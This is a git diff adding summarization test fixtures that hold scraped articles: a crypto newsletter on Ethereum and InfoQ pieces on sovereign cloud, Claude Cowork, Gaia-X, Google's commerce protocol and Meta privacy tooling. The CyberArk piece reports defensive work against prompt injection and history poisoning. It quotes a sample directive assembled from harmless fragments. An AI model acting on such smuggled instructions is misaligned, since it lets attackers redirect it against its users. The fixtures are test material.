b/tests/summarization/https___www.bitdegree.org_crypto_news_what-ethereum-does-that-bitcoin-cant.txt @@ -0,0 +1,2 @@ +Stop overpaying - start transferring money with Ogvio. Sign up, invite friends & grab Rewards now! 🎁 Where apps run without companies Today's newsletter is brought to you by The future of sending money starts here: Ogvio is LIVE! Experience instant borderless transfers with no hidden fees 💸 Sign up NOW! 🚀 GM. Normally we serve crypto at full pulp, but today's pour is smooth and simple. Back to Basics Week continues with: 🤔 Ethereum explained. 🍍 Market flavor today Find out more about the Fear & Greed Index here. Crypto Market Cap: $3.00T -0.93% (24H) Name Price 24H 7D Bitcoin BTC $90,224.22 0.00% -6.63% Ethereum ETH $3,002.04 -0.52% -10.13% BNB BNB $891.86 -1.10% -5.14% XRP XRP $1.95 2.26% -9.31% Prices as of 11:00 AM EST. Click here to see live data. 🤔 Ethereum explained The Daily Squeeze is usually charts, drama, regulations, gossip, and all that jazz. But it's Back to Basics Week, which means we're slowing things down and explaining the stuff that powers basically everything in crypto. Today's topic: Ethereum - the chain that turned crypto from "internet money" into "internet apps." Source: @dubzyxbt Let's clear this up right away: Ethereum is not just a cryptocurrency. Yes, it has a coin (ETH). But Ethereum's real purpose is being a decentralized platform where anyone can build applications without a company, server, or central authority running the show. If Bitcoin answered the question, 👉 "What if money didn't need banks?" Ethereum followed up with, 👉 "What if apps didn't need companies?" Here's the core idea: Ethereum is a blockchain that lets developers write smart contracts - pieces of code that automatically run when certain conditions are met. No middleman. No manual approval. Once those contracts are live, they can't be changed or shut down by a single party. That's the magic (and sometimes the chaos). Here's how that plays out in practice: Ethereum runs on a network of computers called nodes. These nodes all store the blockchain and agree on what's happening - who sent what, which contracts ran, and in what order. When you do anything on Ethereum (swap tokens, mint an NFT, vote in a DAO, etc.), you're interacting with a smart contract. The network processes that action, records it permanently, and moves on. That processing requires resources - and that's where ETH comes in. ETH is Ethereum's native asset and is used to pay for transactions and computation (aka gas). So ETH isn't just money - it's the fuel that keeps Ethereum running. To keep this system secure, Ethereum relies on validators. Validators lock up (stake) ETH as collateral and help verify transactions and smart contract activity. 👉 If they follow the rules, they earn ETH rewards. 👉 If they try to cheat, they can lose part of their stake. This setup makes attacking the network expensive and aligns incentives so it's in everyone's best interest to play fair - all without a central authority in charge. At this point, the difference between Ethereum and Bitcoin becomes clear. 👉 Bitcoin is intentionally limited. It focuses on being secure, predictable, and good at one thing: digital money. 👉 Ethereum is intentionally flexible. It's designed to be programmable. Same foundation (blockchain). Very different goals. And because Ethereum is programmable, entire ecosystems grew on top of it. This is where: 👉 decentralized finance (lending, borrowing, trading without banks), 👉 NFTs and on-chain ownership, 👉 blockchain games, 👉 DAOs run by smart contracts, 👉 and thousands of tokens ... all took off. Ethereum became the default place to build in crypto. Of course… it's not perfect. Ethereum's biggest pain points: 👉 High gas fees: when lots of people use the network, fees can spike; 👉 Scalability: the base layer can only handle so much at once; 👉 Smart contract risk: code bugs can (and have) caused major losses. A lot of Ethereum's upgrades and Layer-2 solutions exist specifically to fix these issues. Bottom line: Ethereum isn't just a coin - it's a platform. A programmable blockchain that lets developers build apps, organizations, and financial systems without a central authority calling the shots. 👉 Bitcoin showed the world decentralized money was possible. 👉 Ethereum showed the world decentralized everything else might be too. If you enjoyed today's explainer, check out our previous Back to Basics editions on: trading types, CEXs vs. DEXs, hot vs. cold wallets, how to spot red flags in a crypto, what dApps are, how a blockchain works, blockchain types, smart contracts, coins vs. tokens, and Bitcoin. Now you're in the know. But think about your friends - they probably have no idea. I wonder who could fix that... 😃🫵 Spread the word and be the hero you know you are! 💸 Brazil transfers: easy mode unlocked Sending money to Brazil shouldn't feel like a boss fight 🕹️💸 That's why we just launched a new Mission that turns "how do I send money to Brazil?" into a quick, gamified Web3 win. You'll learn how to pick the right platform, understand the rules, and play it smart - in Brazil or anywhere else. 🎁 1,700 Bits prize pool up for grabs! 💰 More Bits = a bigger share of the $20K BitDegree Season 9 Airdrop. (You'll need an Ogvio account to claim the Airdrop.) Ready to stop guessing and start playing to win? 👀 Start Mission 🍌 Juicy memes Source: @naiivememe Source: @naiivememe Source: @naiivememe Gode S. Web3 Market Analyst Gode is a Web3 Market Analyst who researches the most important industry events and interprets how they affect the wider Web3 space. Her formal education in media culture & digital rhetoric allows her to employ a methodical approach to evaluating critical Web3 news data, including large-scale events and the wider social sentiment within the ecosystem. Gode is a mutilingual professional, having studied in multiple universities all across Europe. This allows her to have a one-of-a-kind opportunity to analyze Web3 social sentiments spanning different cultures and languages and, in turn, develop a much deeper understanding of how the Web3 space is growing within different communities. With the rest of her team, Gode works to identify crucial crypto news patterns and provide unbiased and data-driven information. Gode’s passions include working and communicating with people, and when she’s not researching Web3 news, she spends her time traveling and watching true crime documentaries. Full Bio See Our Experts Thirsty for the Hottest Crypto News in Your Inbox? Get crypto-smart in just 3 mins a day with our newsletter! Join 120,000+ subscribers & get a juicy Daily Squeeze of the hottest, jargon-free news and insights straight to your inbox. Subscribe +============== diff --git a/tests/summarization/https___www.infoq.com_articles_ai-assisted-development-series_.txt b/tests/summarization/https___www.infoq.com_articles_ai-assisted-development-series_.txt new file mode 100644 index 0000000..9b72abe --- /dev/null +++ b/tests/summarization/https___www.infoq.com_articles_ai-assisted-development-series_.txt @@ -0,0 +1,2 @@ +AI is no longer a research experiment or a novelty in the IDE: it is part of the software delivery pipeline. Teams are learning that integrating AI into production is less about model performance and more about architecture, process, and accountability. In this article series, we examine what happens after the proof of concept and how AI changes the way we build, test, and operate systems. Across the articles, a consistent message emerges: sustainable AI development depends on the same fundamentals that underpin good software engineering, clear abstractions, observability, version control, and iterative validation. The difference now is that part of the system learns while it runs, which raises the bar for context design, evaluation pipelines, and human accountability. As teams mature, attention shifts from tools to architecture, from what a model can do to how the surrounding system ensures reliability, transparency, and control. You will see this in practice here, from resource-aware model building and human-in-the-loop data creation to the use of layered protocols, such as A2A with MCP, that enable agents to discover capabilities and collaborate without requiring rewrites. Agentic architectures are no longer a thought experiment. Systems that coordinate, adapt, and negotiate are moving into production, and the safest path is incremental, with clear guardrails and shared workflows. The InfoQ "AI Assisted Development: Real World Patterns, Pitfalls, and Production Readiness" article series captures where we are today: engineers turning experimentation into engineering, and AI moving from curiosity to craft. You can download the entire series collated in PDF format, in the associated eMag. Series Contents 1 AI Trends Disrupting Software Teams This article positions AI as the most significant shift in software since cloud computing, reshaping how teams build, operate, and collaborate. It highlights emerging trends from generative development to agentic systems, providing concrete guidance for developers, architects, and product managers as they adapt to this new era of AI-assisted software engineering. Article by: Bilgin Ibryam 2 Virtual Panel: AI in the Trenches: How Developers Are Rewriting the Software Process The virtual panel titled shifts from observation to hands-on experience. It brings together engineers, architects, and technical leaders to explore how AI is changing the landscape of software development. Practitioners share their insights on what succeeds and what fails when AI is incorporated into daily workflows, emphasizing the significance of context, validation, and cultural adaptation in making AI a sustainable element of modern engineering practices. Panelists: Mariia Bulycheva, May Walter, Phil Calçado, Andreas Kollegger Hosted by: Arthur Casals To be released: week of January 26, 2026 3 Why Most Machine Learning Projects Fail to Reach Production This article takes a diagnostic approach, examining why many initiatives stall before delivery, from weak problem framing and brittle data practices to the gap between promising models and real products. It offers practical guidance on setting clear business goals, treating data as a product, building early evaluation and monitoring, and aligning teams to move from prototype to production with confidence. Article by: Wenjie Zi To be released: week of February 2, 2026 4 Building LLMs in Resource Constrained Environments In this article, the focus shifts to exploring how limitations in infrastructure, data, and compute can drive innovation rather than hinder it. Drawing on real-world examples, it demonstrates how smaller, more efficient models, synthetic data generation, and disciplined engineering practices enable the creation of impactful AI systems even under severe resource constraints. Article by: Olimpiu Pop To be released: week of February 9, 2026 5 Architecting Agentic MLOps: A Layered Protocol Strategy with A2A and MCP This article shows how combining Agent-to-Agent communication with the Model Context Protocol enables interoperable, extensible multi-agent systems for real MLOps workflows. It outlines an architecture that decouples orchestration from execution, allowing teams to add new capabilities through discovery rather than rewrites and evolve from static pipelines to coordinated, intelligent operations. Article by: Shashank Kapoor, Sanjay Surendranath Girija, Lakshit Arora To be released: week of February 16, 2026 About the Author Arthur Casals Arthur Casals is a researcher and technology strategist exploring the intersection of Artificial Intelligence, Distributed Systems, and Multi-Agent Architectures. With more than two decades of experience in software engineering and leadership roles, he focuses on bridging advanced AI concepts with real-world systems and development practices. Show moreShow less +============== diff --git a/tests/summarization/https___www.infoq.com_news_2026_01_aws-european-sovereign-cloud_.txt b/tests/summarization/https___www.infoq.com_news_2026_01_aws-european-sovereign-cloud_.txt new file mode 100644 index 0000000..b33566d --- /dev/null +++ b/tests/summarization/https___www.infoq.com_news_2026_01_aws-european-sovereign-cloud_.txt @@ -0,0 +1,2 @@ +Amazon Web Services has launched its European Sovereign Cloud to general availability, marking a €7.8 billion investment in physically and logically separated infrastructure. The service, now available in Brandenburg, Germany, aims to address European regulatory requirements and growing geopolitical concerns about U.S. access to data. While AWS emphasizes that the cloud will be operated exclusively by EU residents under a new German parent company structure, significant questions persist about whether this separation can truly protect against U.S. government data requests. The infrastructure uses partition name aws-eusc and region name eusc-de-east-1, operating completely separately from AWS's global regions. All components, including dedicated IAM, billing systems, and Route 53 name servers using European Top-Level Domains, remain within EU borders. AWS European Sovereign Cloud GmbH, a new German parent company with three subsidiaries handling infrastructure, certificate management, and employment, manages the operations. Stéphane Israël, an EU citizen, serves as managing director alongside Stefan Hoechbauer, vice president of AWS Germany and Central Europe. An AWS software development engineer who deployed services to the European Sovereign Cloud confirmed that the technical isolation exists in practice. Writing on Hacker News, the engineer explained: AWS has set up proper boundaries between the European Sovereign Cloud (ESC) and global AWS. Since I'm based out of the US, I can't see anything going on in ESC, even in the service we develop. To fix an issue there, we have to play telephone with an engineer in ESC... All data is really 100% staying within ESC. The engineer also warned about trade-offs, noting that isolation "really slows down debugging issues. Problems that would be fixed in a day or two can take a month." Despite this technical isolation, practitioners and analysts have raised fundamental concerns about legal protection. Sam Newman, an independent technology consultant, wrote on LinkedIn: Unless I've misunderstood the US patriot act (which is possible), the new EU AWS Sovereign cloud offering does nothing to protect customer data from being accessed by the US government. So I'm not entirely sure what this is for, other than companies wanting to pay (I assume) a premium to look like they are doing something in the face of a more erratic US regime. Marko Teklic, an ICT solutions coordinator, echoed similar concerns, noting that under the Foreign Intelligence Surveillance Act and CLOUD Act, AWS, as a U.S.-headquartered company, remains subject to U.S. jurisdiction for its European operations. The CLOUD Act allows U.S. authorities to request data from cloud providers regardless of the cloud provider's physical location. Courts can require parent companies to produce data held by subsidiaries, which could make AWS European Sovereign Cloud GmbH's separate structure legally insufficient. A commenter in a Reddit thread outlined the mechanism: The act applies to 'all electronic communication service or remote computing service providers that operate or have a legal presence in the U.S.' Courts can require parent companies to provide data held by their subsidiaries. Some believe AWS's structure might offer protection. One Hacker News user suggested that, under European governance, Amazon could tell the U.S. government that EU employees refused to comply with data requests because doing so would violate EU law. Skeptics countered that AWS could work around this by obfuscating commands to local employees or by temporarily sending U.S. employees to Europe. Practitioners have posed pointed questions that AWS hasn't answered. S. Maud asked on Jeff Barr's LinkedIn post whether AWS would comply if the U.S. government issued a Cloud Act warrant for military operations data stored in the sovereign cloud. Sebastian Vogelsang raised technical concerns about remote intervention: What prevents a remote kill switch? If AWS corporate or the US government directed that this infrastructure be disabled, what technical or legal mechanism would prevent that? Is the software stack fully independent, or does it rely on licenses, updates, or control planes that could be revoked from outside the EU? The software trust issue extends beyond operations. While Hacker News commenters noted that AWS's Nitro hypervisor team is based in Berlin, questions remain about the broader AWS software stack. Has it been audited for backdoors? Could code developed in the U.S. contain mechanisms for remote access? When asked whether AWS European Sovereign Cloud resembles AWS's China regions, principal cloud architect Ivo Pinto confirmed it's "even a better comparison than govcloud." Yet there's a crucial difference: AWS China operates through independent Chinese companies (Sinnet and NWCD), while AWS European Sovereign Cloud remains wholly owned by Amazon.com Inc. Eric Swanson from CarMax explained what the offering actually achieves: US ownership and headquarters mean US law can still apply to the provider, regardless of where the infrastructure runs. Sovereign cloud offerings do not override the Patriot Act. They mainly reduce overlap across other contexts: data location, operational control, employee access, and customer jurisdiction. Organizations seeking sovereignty without U.S. ownership have European alternatives available, including German provider Hetzner, French provider Scaleway, Swiss provider Infomaniak, and StackIT by Schwarz Digits (Lidl's parent company), which multiple commenters on LinkedIn and Reddit highlighted as genuinely European sovereign cloud options. The service launches with approximately 90 AWS services, with plans to expand through sovereign Local Zones in Belgium, the Netherlands, and Portugal. AWS projects the €7.8 billion investment will contribute €17.2 billion to the European economy over 20 years. AWS now competes with Microsoft and Google Cloud's S3NS offering, developed with Thales. Mark Surrow noted on LinkedIn that Microsoft "had to admit it directly in a French court" that it cannot guarantee data sovereignty for EU customers. The fundamental question persists: can any U.S.-owned sovereign cloud protect European data from U.S. government access under the CLOUD Act and FISA? Until AWS answers this, organizations with strict sovereignty requirements may look elsewhere. About the Author Steef-Jan Wiggers Steef-Jan Wiggers is one of InfoQ's senior cloud editors and works as a Domain Architect at VGZ in the Netherlands. His current technical expertise focuses on implementing integration platforms, Azure DevOps, AI, and Azure Platform Solution Architectures. Steef-Jan is a regular speaker at conferences and user groups and writes for InfoQ. Furthermore, Microsoft has recognized him as a Microsoft Azure MVP for the past fifteen years. Show moreShow less +============== diff --git a/tests/summarization/https___www.infoq.com_news_2026_01_claude-cowork_.txt b/tests/summarization/https___www.infoq.com_news_2026_01_claude-cowork_.txt new file mode 100644 index 0000000..0d120ba --- /dev/null +++ b/tests/summarization/https___www.infoq.com_news_2026_01_claude-cowork_.txt @@ -0,0 +1,2 @@ +On January 12, 2026, Anthropic announced Claude Cowork, a general-purpose AI agent designed to automate file management and document processing tasks on macOS. The tool extends Claude's capabilities beyond conversational interfaces to enable autonomous execution of multi-step workflows within designated local directories. 'Claude Cowork consumed 11GB of files accidentally during testing. Users should implement appropriate backup procedures before granting directory access.' -User reports on GitHub and Reddit Claude Cowork operates through a folder-permission model where users grant the AI read, write, and create access to specific directories. The system runs within a virtual machine using Apple's Virtualization Framework, providing isolation from the host operating system. According to Anthropic's blog post, the tool was built primarily by Claude Code itself in approximately 1.5 weeks, demonstrating the AI's code generation capabilities. The architecture implements sub-agent coordination for parallelizable tasks. When presented with independent subtasks, Cowork spawns multiple Claude instances that execute concurrently and aggregate results. This approach aims to reduce total execution time for complex operations compared to sequential processing. The tool integrates with Agent Skills, Anthropic's open standard for modular AI capabilities. Skills provide specialized handling for office file formats including XLSX, PPTX, DOCX, and PDF. The system uses progressive disclosure to load skill instructions only when relevant, managing context window utilization. Initial use cases center on document automation and data processing. Users can instruct Cowork to extract structured data from receipt images and generate Excel spreadsheets with formulas, organize file directories based on content and metadata, or synthesize research reports from multiple source documents. The tool supports browser automation through the Claude in Chrome extension, enabling web navigation and form submission. Competitive alternatives include OpenAI's Operator for browser-based automation, Google's Project Mariner for web and cloud tasks, and Amazon's Nova Act for e-commerce workflows. Open-source options such as OpenWork provide cost-effective alternatives using the OpenCode framework. Eigent and Cline offer multi-agent capabilities with local deployment for developers requiring full control over execution environments. The Agent Skills specification that underpins Cowork's extensibility has achieved industry adoption beyond Anthropic's ecosystem. Microsoft integrated Skills support into VS Code and GitHub Copilot. OpenAI adopted the format for Codex CLI in December 2025. Cursor, Goose, Amp, OpenCode, and Letta implemented compatible skill loading mechanisms. This interoperability allows developers to create skills that function across multiple AI coding assistants. Skills use a minimal specification with YAML frontmatter for metadata and Markdown instructions. The format enables progressive disclosure where agents read name and description fields to determine relevance without loading full content. Required fields include name and description; optional metadata supports version numbers, dependencies, and tool allowlists. The complete specification at agentskills.io/specification totals under 1000 words. Partner ecosystem development includes pre-built skills from Atlassian (Jira, Confluence), Figma, Canva, Notion, Stripe, Cloudflare, Zapier, Vercel, Ramp, and Sentry. These integrations target common enterprise workflows such as ticket management, design collaboration, and API interactions. Team and Enterprise administrators can provision skills organization-wide through centralized settings. "Skills you create aren't locked to Claude - the same skill format works across AI platforms and tools that adopt the standard." - Agent Skills documentation Resource consumption patterns show higher utilization than conversational usage. A single Cowork session involving complex file operations may consume quota equivalent to 50-100 standard messages. Max 20x subscribers receive 4x the capacity of Max 5x at 2x the price, creating cost-per-operation trade-offs for high-volume scenarios. In response, both Cursor and Claude Code shipped solutions for MCP tool context bloat this month. Tools no longer load full definitions by default. Anthropic indicated continued exploration of programmatic tool calling for longer-term scaling. Claude Cowork represents Anthropic's bet on long-running autonomous workflows. The architecture differs from Claude Desktop's short-session assistant model, producing measurably different outcomes for extended tasks. Competitors from OpenAI and Google are expected to follow, though verticalized agents will likely retain advantages where domain expertise and specialized interfaces matter. Anthropic began blocking third-party applications from using Claude Max subscriptions. The $200/month tier is now restricted to first-party Claude Code usage, with external integrations requiring pay-as-you-go API tokens. Community backlash has focused on ambiguity around UI wrappers built for Claude Code, with some users reporting account bans and no official clarification on whether such tools violate terms. Anthropic published findings on the Assistant Axis, a measurable dimension along which LLMs organize persona behavior. Researchers found that therapy-style discussions and philosophical questions cause natural drift away from trained assistant personas. Their intervention, called activation capping, reduced harmful response rates by approximately 50% while preserving capability benchmarks. Developers looking to learn more can explore the Agent Skills specification at agentskills.io and examine reference implementations in Anthropic's Skills repository. About the Author Andrew Hoblitzell Show moreShow less +============== diff --git a/tests/summarization/https___www.infoq.com_news_2026_01_cyberark-agents-defenses_.txt b/tests/summarization/https___www.infoq.com_news_2026_01_cyberark-agents-defenses_.txt new file mode 100644 index 0000000..7770e14 --- /dev/null +++ b/tests/summarization/https___www.infoq.com_news_2026_01_cyberark-agents-defenses_.txt @@ -0,0 +1,2 @@ +To prevent LLMs and agents from obeying malicious instructions embedded in external data, all text entering an agent's context, not just user prompts, must be treated as untrusted until validated, says Niv Rabin, principal software architect at AI-security firm CyberArk. His team developed an approach based on instruction detection and history-aware validation to protect against both malicious input data and context-history poisoning. Rabin explains that his team developed multiple defense mechanisms and organized them into a layered pipeline, with each layer designed to catch different threat types and reduce the blind spots inherent in standalone approaches. These defenses include honeypot actions and instruction detectors that block instruction-like text, ensuring the model only sees validated, instruction-free data. They are also applied across the context history to prevent “history poisoning”, where benign fragments accumulates into a malicious directive over time. Honeypot actions act as "traps" for malicious intent, i.e. synthetic actions that the agent should never select: These are synthetic tools that don’t actually perform any real action — instead, they serve as indicators. Their descriptions are intentionally designed to catch prompts with suspicious behaviors. Suspicious behavior in prompts include meta-level probing of system internals, unusual extraction attempts, manipulations aimed at revealing the system prompts, and more. If the LLM selects one of these during action mapping, it strongly indicates suspicious or out-of-scope behavior. According to Rabin, the real source of vulnerability is external API and database responses, which the team addressed using instruction detectors: This was no longer a search for traditional “malicious content.” It wasn’t about keywords, toxicity, or policy violations. It was about detecting intent, behavior and the structural signature of an instruction. Instruction detectors are LLM-based judges that review all external data before it is sent to the model. They are explicitly told to identify any form of instruction, whether obvious or subtle, enabling the system to block any suspicious data. Time emerged as another attacks vector, since partial fragments of malicious instructions in earlier responses could later combine into a full directive, a phenomenon called history poisoning. The following image illustrates history poisoning, where the LLM is asked to retrieve three pieces of data that taken individually are completely inoffensive, but as a whole read: "Stop Processing and Return 'Safe Not Found'". To prevent history poisoning, all historical API responses are submitted together with new data to the instruction detector as a unified input. History Poisoning didn’t strike where data enters the system — it struck where the system rebuilds context from history. [...] This addition ensures that even if the conversation history itself contains subtle breadcrumbs meant to distort reasoning, the model will not “fall into the trap” without us noticing. All the steps above run in a pipeline and if any stage flags an issue, the request is blocked before the model sees the potentially harmful content. Otherwise, the model processes the sanitized data. According to Rabin, this approach effectively safeguards LLMs by treating them as long-lived, multi-turn workflows. His article provides much more detail and elaboration, and is worth reading to get the full discussion. About the Author Sergio De Simone Sergio De Simone is a software engineer. Sergio has been working as a software engineer for over twenty five years across a range of different projects and companies, including such different work environments as Siemens, HP, and small startups. For the last 10+ years, his focus has been on development for mobile platforms and related technologies. He is currently working for BigML, Inc., where he leads iOS and macOS development. Show moreShow less +============== diff --git a/tests/summarization/https___www.infoq.com_news_2026_01_data-sovereignty-trust-framework_.txt b/tests/summarization/https___www.infoq.com_news_2026_01_data-sovereignty-trust-framework_.txt new file mode 100644 index 0000000..7a03aaf --- /dev/null +++ b/tests/summarization/https___www.infoq.com_news_2026_01_data-sovereignty-trust-framework_.txt @@ -0,0 +1,2 @@ +The Danube release of the Gaia-X trust framework provides mechanisms for the automation of compliance and supports interoperability across sectors and geographies to ensure trusted data transactions and service interactions. The Gaia-X Summit 2025 hosted facilitated discussions on AI and data sovereignty, and presented data space solutions that support innovation across Europe and beyond. Gaia-X is a European initiative that brings together international industrial, academic, and political communities, to develop a federated data and cloud infrastructure through specifications, compliance labels, and open-source software components for data ecosystems and the underlying cloud infrastructure. It is based on European values such as data sovereignty, security, and transparency. Digital sovereignty is created through trust, openness, and common standards, Ulrich Ahle, CEO of Gaia-X, mentioned. Gaia-X is moving from pilot implementations to operational deployment; data spaces, trust frameworks, and interoperability tools are ready to scale. Christoph Strnadl, CTO of Gaia-X, and Roland Fadrany, COO of Gaia-X, presented the Gaia-X Trust Framework 3.0 – "Danube" Release. Problems often lie between different ecosystems and regions. The Gaia-X Trust Framework allows applications and systems to operate smoothly in federated environments with different actors. Actors can use different methods and standards for obtaining their digital identity and other digital certificates from trust services providers, Strnadl explained: Examples are multi-cloud environments, the cloud-to-edge continuum, data spaces and federations of data spaces, and any other form of digital ecosystem like global supply networks needed to provide digital product passports. To support scalable federated digital ecosystems, the Danube release provides mechanisms that enable automation of compliance and interoperability across sectors and geographies, Strnadl explained: You can automate governance rules and compliance frameworks in an extensible way, allowing for domain and regional adaptation while maintaining interoperability. In Gaia-X, this is called "bring your own rules (BYOR)", Fadrany mentioned. Organizations can add their own rules, compliance frameworks, or industry-specific requirements as extensions without sacrificing technical interoperability. Gaia-X has entered the execution phase, moving from principles to practice, Roland Fadrany mentioned. It aims to give governments and businesses the operational means to build, govern, and grow digital ecosystems with confidence. Two sectors, aerospace and nuclear, are using the Gaia-X trust framework. DECADE-X is a digital ecosystem for the aerospace and defence industry. Its mission is to build a global collaborative data-sharing framework that brings together industry stakeholders to enable trustworthy, secure, and standards-based data exchanges, Jérémy Mambrini from Airbus said. DECADE-X includes a trust framework based on Gaia-X with extensions for ecosystem-specific rules and global geographical adoption. The Data4NuclearX project aims to build a secure and sovereign data exchange space for the nuclear industry, based on Gaia-X. Ensuring the sovereignty of data is one of the main challenges, Martine Gouriet from EDF mentioned. Their approach is to focus on trust, security, regulation, and compliance. InfoQ interviewed Christoph Strnadl about Gaia-X. InfoQ: Why should the software industry care about Gaia-X? What can it bring them? Christoph Strnadl: For software companies, implementing the Gaia-X trust framework means access to new markets, easier integration with customers and partners, and the ability to participate in large cross-industry data ecosystems without being tied to a single platform or vendor. Gaia-X reduces trust-related integration costs and increases the potential customer base. By following Gaia-X compliance rules, developers can build services that are compliant, portable, and compatible with the emerging European data economy. InfoQ: What do developers and architects need to know about Gaia-X? Strnadl: Gaia-X is not a new cloud platform or another service orchestration layer or inter-cloud API. Gaia-X provides the framework and components for implementing a trustworthy method to establish the identities of organisations and human actors participating in data sharing or service interactions. It ensures compliance of services and other ecosystem entities (e.g., IoT devices, AI training data sets) with ecosystem rules. The Gaia-X Trust Framework consists of an architecture, a set of specifications and standards, and software components implementing them. Software-intensive systems that follow these guidelines will then be interoperable on the trust layer by design. Key concepts include: verifiable credentials, self-description of services verified by suitable conformity assessment bodies (CABs) aka "clearing houses", and the use of credentials for identity and policy enforcement. For architects, Gaia-X defines how trustworthy digital identifiers can be linked to ecosystem actors, how XaaS services can be described, how compliance of these descriptions is verified by independent parties (the CABs), and how participants authenticate and interact in a federated environment. For developers, it provides concrete technical components (from registries to credential formats, including cryptographic support functions like did-resolver or a VC-JWT playground) that can be embedded into applications. InfoQ: What does Gaia-X provide for software projects? Strnadl: Gaia-X provides technical specifications, which include models and standards for digital identifiers, service descriptions, and compliance definitions and verification. There is also the Gaia-X Lab, where developers can test implementations and see examples of working components. Software teams can use these specifications and tools to build applications and services that are identifiable, certifiable, and ready for participation in digital ecosystems and data spaces. Other initiatives exist for data sovereignty, clouds, and data sharing. The International Data Spaces Association (IDSA) is a not-for-profit association that creates standards for sharing data in data spaces that allow participants to have full control over their data. Eclipse Tractus-X™ is a collaborative, open-source project aimed at driving the digital transformation of various industries; its mission is to enable secure, self-sovereign, and efficient data exchange using open standards. Tractus-X provides software for implementing trusted data transactions. The EOSC Association implements the European Open Science Cloud (EOSC) to champion research data management and application, to guarantee scientists’ access to data-driven science for creating new knowledge, promoting innovation, and reinforcing public trust in science. About the Author Ben Linders Ben Linders runs a one-person business in Agile, Lean, Quality and Continuous Improvement. Author of Getting Value out of Agile Retrospectives, Waardevolle Agile Retrospectives, What Drives Quality, The Agile Self-assessment Game, Problem? What Problem?, and Continuous Improvement. Creator of many Agile Coaching Tools, for example, the Agile Self-assessment Game. As an adviser, coach, and trainer, he helps organizations by deploying effective software development and management practices. He focuses on continuous improvement, collaboration and communication, and professional development. Ben is an active member of networks on Agile, Lean and Quality, and a frequent speaker and writer. He shares his experience in a bilingual blog (Dutch and English) and as an editor for Agile at InfoQ. Follow him on twitter: @BenLinders. Show moreShow less +============== diff --git a/tests/summarization/https___www.infoq.com_news_2026_01_google-agentic-commerce-ucp_.txt b/tests/summarization/https___www.infoq.com_news_2026_01_google-agentic-commerce-ucp_.txt new file mode 100644 index 0000000..2336540 --- /dev/null +++ b/tests/summarization/https___www.infoq.com_news_2026_01_google-agentic-commerce-ucp_.txt @@ -0,0 +1,2 @@ +Google launched the Universal Commerce Protocol (UCP), an open standard designed to enable agentic commerce, where AI-driven shopping agents can complete tasks end to end, from product discovery to checkout and post-purchase management. UCP is designed to meet the needs of both retailers and customers, keeping the full customer relationship front and center across the entire journey, from initial discovery to purchase decisions and beyond. Announced at the National Retail Federation annual conference, UCP provides a secure, standardized method for AI agents to connect with business backends across the commerce ecosystem. Businesses expose capabilities, which can be extended with features such as discounts, and agents dynamically discover available services and payment options through business profiles. Payments are separated between instruments and processors, supporting multiple payment providers. Communication is supported across standard APIs, Agent2Agent, and Model Context Protocol bindings. Sample implementations, including a Python server and software development kit containing product data, demonstrate how agents can discover capabilities and execute checkout flows. American Express highlighted the protocol’s potential to streamline commerce in a LinkedIn post: Google’s Universal Commerce Protocol (UCP) is a new open standard for agentic commerce designed to reduce fragmented shopping journeys and help connect retailers and consumers for more seamless experiences. UCP will soon power new checkout experiences in AI Mode in Google Search and the Gemini app. Open standards like this are critical to building more secure, trusted commerce. UCP defines core commerce capabilities, including product discovery, cart management, checkout, and post-purchase workflows, as Google described in an under-the-hood technical blog post. Agents query business profiles to identify available services and negotiate supported features, reducing the need for bespoke integrations. This approach allows businesses to retain control over pricing, inventory, and fulfillment logic while enabling AI agents to operate autonomously. UCP high-level architecture (Source: Google Blog Post) The protocol includes a security architecture in which credential providers tokenize payment and identity information, and payment service providers handle transaction processing. This separation allows agents to operate without accessing raw payment or personal data. UCP is transport agnostic and supports standard API interactions as well as agent-focused bindings for conversational interfaces, AI assistants, and automated workflows. Early implementations appear in AI-powered search and assistant platforms, where eligible retailers can offer direct checkout experiences without redirecting users to external websites. Purchase Flow Demonstration Using an AI Agent (Source: Google Blog Post) UCP was co-developed with Shopify, Etsy, Wayfair, Target, and Walmart, and is endorsed by more than 20+ additional partners across the commerce ecosystem, including Adyen, American Express, Best Buy, Flipkart, Macy’s, Mastercard, Stripe, The Home Depot, Visa, and Zalando. The UCP roadmap focuses on establishing a comprehensive, global commerce standard that extends beyond isolated transactions. Initiatives include multi-item checkout, cart management, loyalty programs, post-order workflows, and personalized cross-sell and upsell options, all while keeping business logic central. Early implementations enable checkout from eligible U.S. retailers directly within Google surfaces during product research. The protocol will expand to markets including India, Indonesia, and Latin America. Google and partners invite feedback to refine the protocol, shaping interoperable, AI-driven commerce. About the Author Leela Kumili Leela is a Lead Software Engineer at Starbucks with deep expertise in building scalable, cloud-native systems and distributed platforms. She drives architecture, delivery, and operational excellence across the Rewards Platform, leading efforts to modernize systems, improve scalability, and enhance reliability. In addition to her technical leadership, Leela serves as an AI Champion for the organization, identifying opportunities to improve developer productivity and workflows using LLM-based tools and establishing best practices for AI adoption. She is passionate about building production-ready systems, enhancing developer experience, and mentoring engineers to grow in both technical and strategic impact. Her interests include platform engineering, distributed systems, developer productivity, and bridging technical solutions with business and product goals. Show moreShow less +============== diff --git a/tests/summarization/https___www.infoq.com_news_2026_01_meta-pai-genai-data-flows_.txt b/tests/summarization/https___www.infoq.com_news_2026_01_meta-pai-genai-data-flows_.txt new file mode 100644 index 0000000..a8297ea --- /dev/null +++ b/tests/summarization/https___www.infoq.com_news_2026_01_meta-pai-genai-data-flows_.txt @@ -0,0 +1,2 @@ +Meta has published new details on how it is scaling its privacy infrastructure, outlining architectural changes designed to support generative AI product development while managing increasingly complex data flows and enforcing privacy compliance across its systems. Meta engineers emphasized that generative AI workloads introduce new challenges for privacy enforcement, including increased data volumes, new data modalities, and faster iteration cycles. They explained that traditional review and approval processes were not designed to operate at this scale or pace, particularly in environments where data moves across thousands of interconnected services and pipelines. To address these constraints, Privacy-Aware Infrastructure (PAI) was expanded to include a set of shared services and libraries that embed privacy controls directly into data storage, processing, and generative AI inference workflows. Engineers explained that this expansion provides a common foundation for enforcing privacy policies across heterogeneous systems, enabling controls to be applied consistently as data moves between services and products. End-to-end lineage for AI-glasses interaction(Source : Meta Tech Blog) A key component of this infrastructure is large-scale data lineage. Meta engineers explained that lineage tracking provides them visibility into where data originates, how it propagates across systems, and how downstream services, including AI training and inference pipelines, consume it. This visibility enables continuous evaluation of privacy policies as data flows through batch processing, real-time services, and generative AI workloads. To support lineage at scale, a shared privacy library, PrivacyLib, is embedded across infrastructure layers. Engineers detailed how the library instruments data reads and writes, and emits metadata linked into a centralized lineage graph. Standardizing the capture of privacy metadata allows policy constraints to be evaluated consistently without requiring individual teams to implement custom logic. Lineage observability 